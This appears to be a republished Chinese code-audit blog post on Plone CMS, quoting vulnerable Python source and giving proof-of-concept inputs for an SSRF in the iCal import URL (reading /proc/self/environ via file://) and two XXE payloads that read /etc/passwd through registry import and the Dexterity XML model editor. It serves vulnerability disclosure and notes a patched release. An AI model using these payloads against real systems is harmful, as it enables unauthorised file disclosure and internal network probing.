8

代码审计--Plone

 3 years ago
source link: https://misakikata.github.io/2020/11/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1-Plone/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

Plone

Plone是使用Python开发的一个开源的内容管理系统,安装的时候以第三方包的形式安装使用,三百个包左右的程序,这个查看起来查找对应功能实在是费劲。

plone.app.event-3.2.7-py3.6.egg\plone\app\event\ical\importer.py

  1. @button.buttonAndHandler(u'Save and Import')
  2. def handleSaveImport(self, action):
  3. data, errors = self.extractData()
  4. if errors:
  5. return False
  6. self.save_data(data)
  7. ical_file = data['ical_file']
  8. ical_url = data['ical_url']
  9. event_type = data['event_type']
  10. sync_strategy = data['sync_strategy']
  11. if ical_file or ical_url:
  12. if ical_file:
  13. # File upload is not saved in settings
  14. ical_resource = ical_file.data
  15. ical_import_from = ical_file.filename
  16. else:
  17. ical_resource = urllib.request.urlopen(ical_url).read()
  18. ical_import_from = ical_url
  19. import_metadata = ical_import(
  20. self.context,
  21. ics_resource=ical_resource,
  22. event_type=event_type,
  23. sync_strategy=sync_strategy,
  24. )

如上所述,在读取参数 ical_url时,根据程序设置是导入该事件的 icalendar资源文件,但对如何读取资源文件没有限制,可以直接使用urllib包进行读取和返回

在Members功能下的Action中选择Enable icalendar import后,配置Icalendar URL参数。

参数:http://127.0.0.1:22,执行Save and Import

image-20201109094919974

urllib还支持文件协议,因此也可以用于文件读取

参数: file:///proc/self/environ

image-20201109100807462

plone.app.registry-1.7.6-py3.6.egg\plone\app\registry\browser\records.py

  1. def import_registry(self):
  2. try:
  3. fi = self.request.form['file']
  4. body = fi.read()
  5. except (AttributeError, KeyError):
  6. messages = IStatusMessage(self.request)
  7. messages.add(u"Must provide XML file", type=u"error")
  8. body = None
  9. if body is not None:
  10. importer = RegistryImporter(self.context, FakeEnv())
  11. try:
  12. importer.importDocument(body)
  13. except XMLSyntaxError:
  14. messages = IStatusMessage(self.request)
  15. messages.add(u"Must provide valid XML file", type=u"error")
  16. return self.request.response.redirect(self.context.absolute_url())

注意importDocument方法,该方法在lxml.etree下调用该方法

plone.app.registry-1.7.6-py3.6.egg\plone\app\registry\exportimport\handler.py

  1. class RegistryImporter(object):
  2. """Helper classt to import a registry file
  3. """
  4. LOGGER_ID = 'plone.app.registry'
  5. def __init__(self, context, environ):
  6. self.context = context
  7. self.environ = environ
  8. self.logger = environ.getLogger(self.LOGGER_ID)
  9. def importDocument(self, document):
  10. tree = etree.fromstring(document)
  11. if self.environ.shouldPurge():
  12. self.context.records.clear()
  13. i18n_domain = tree.attrib.get(ns('domain', I18N_NAMESPACE))
  14. if i18n_domain:
  15. parseinfo.i18n_domain = i18n_domain
  16. for node in tree:
  17. if not isinstance(node.tag, str):
  18. continue
  19. condition = node.attrib.get('condition', None)
  20. if condition and not evaluateCondition(condition):
  21. continue
  22. if node.tag.lower() == 'record':
  23. self.importRecord(node)
  24. elif node.tag.lower() == 'records':
  25. self.importRecords(node)
  26. parseinfo.i18n_domain = None

此方法是此XXE的原因。 在网站设置Site Setup下的Configuration Registry中导出合适的XML文件。 在这里,选择了plone.thumb_scale_table.xml前缀文件。

参数 POC:

  1. <?xml version='1.0' encoding='UTF-8'?>
  2. <!DOCTYPE value [
  3. <!ELEMENT value ANY >
  4. <!ENTITY title SYSTEM "file:///etc/passwd" >
  5. ]>
  6. <registry>
  7. <records interface="Products.CMFPlone.interfaces.controlpanel.ISiteSchema" prefix="plone">
  8. <value key="thumb_scale_table">&title;</value>
  9. </records>
  10. </registry>

执行后,您可以在错误报告中看到已解析的XML实体。

image-20201109142113406

XXE-2

plone.app.dexterity-2.6.5-py3.6.egg\plone\app\dexterity\browser\modeleditor.py

  1. class AjaxSaveHandler(BrowserView):
  2. """Handle AJAX save posts.
  3. """
  4. def __call__(self):
  5. """Handle AJAX save post.
  6. """
  7. if not authorized(self.context, self.request):
  8. raise Unauthorized
  9. source = self.request.form.get('source')
  10. if source:
  11. # Is it valid XML?
  12. try:
  13. root = etree.fromstring(source)
  14. except etree.XMLSyntaxError as e:
  15. return json.dumps({
  16. 'success': False,
  17. 'message': 'XMLSyntaxError: {0}'.format(
  18. safe_unicode(e.args[0])
  19. )
  20. })
  21. # a little more sanity checking, look at first two element levels
  22. if root.tag != NAMESPACE + 'model':
  23. return json.dumps({
  24. 'success': False,
  25. 'message': _(u"Error: root tag must be 'model'")
  26. })
  27. for element in root.getchildren():
  28. if element.tag != NAMESPACE + 'schema':
  29. return json.dumps({
  30. 'success': False,
  31. 'message': _(
  32. u"Error: all model elements must be 'schema'"
  33. )
  34. })
  35. # can supermodel parse it?
  36. # This is mainly good for catching bad dotted names.
  37. try:
  38. plone.supermodel.loadString(source, policy=u'dexterity')
  39. except SupermodelParseError as e:
  40. message = e.args[0].replace('\n File "<unknown>"', '')
  41. return json.dumps({
  42. 'success': False,
  43. 'message': u'SuperModelParseError: {0}'.format(message)
  44. })

上面的代码使用lxml库,但是直接解析xml中的外部参数。 结果,在功能 Dexterity Content Types下选择 custom content types,然后单击进入。 fields标签下的Edit XML Field Model可以直接编写xml代码。

参数 POC:

  1. <!DOCTYPE value [<!ELEMENT value ANY ><!ENTITY title SYSTEM "file:///etc/passwd" > ]>
  2. <model xmlns:i18n="http://xml.zope.org/namespaces/i18n" xmlns:marshal="http://namespaces.plone.org/supermodel/marshal" xmlns:form="http://namespaces.plone.org/supermodel/form" xmlns:security="http://namespaces.plone.org/supermodel/security" xmlns:users="http://namespaces.plone.org/supermodel/users" xmlns:lingua="http://namespaces.plone.org/supermodel/lingua" xmlns="http://namespaces.plone.org/supermodel/schema">
  3. &title;<schema/>
  4. </model>

因为程序代码中似乎存在问题,所以无法添加XML声明文件,但是打开的默认声明文件具有添加的声明文件。 需要删除。 保存参数,并在返回后单击此处查看它们。

image-20201110100900815

问题相对利用条件较高,需要管理员权限,其后官方推出了更新版本5.2.3:https://dist.plone.org/release/5.2.3-pending/RELEASE-NOTES.txt


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK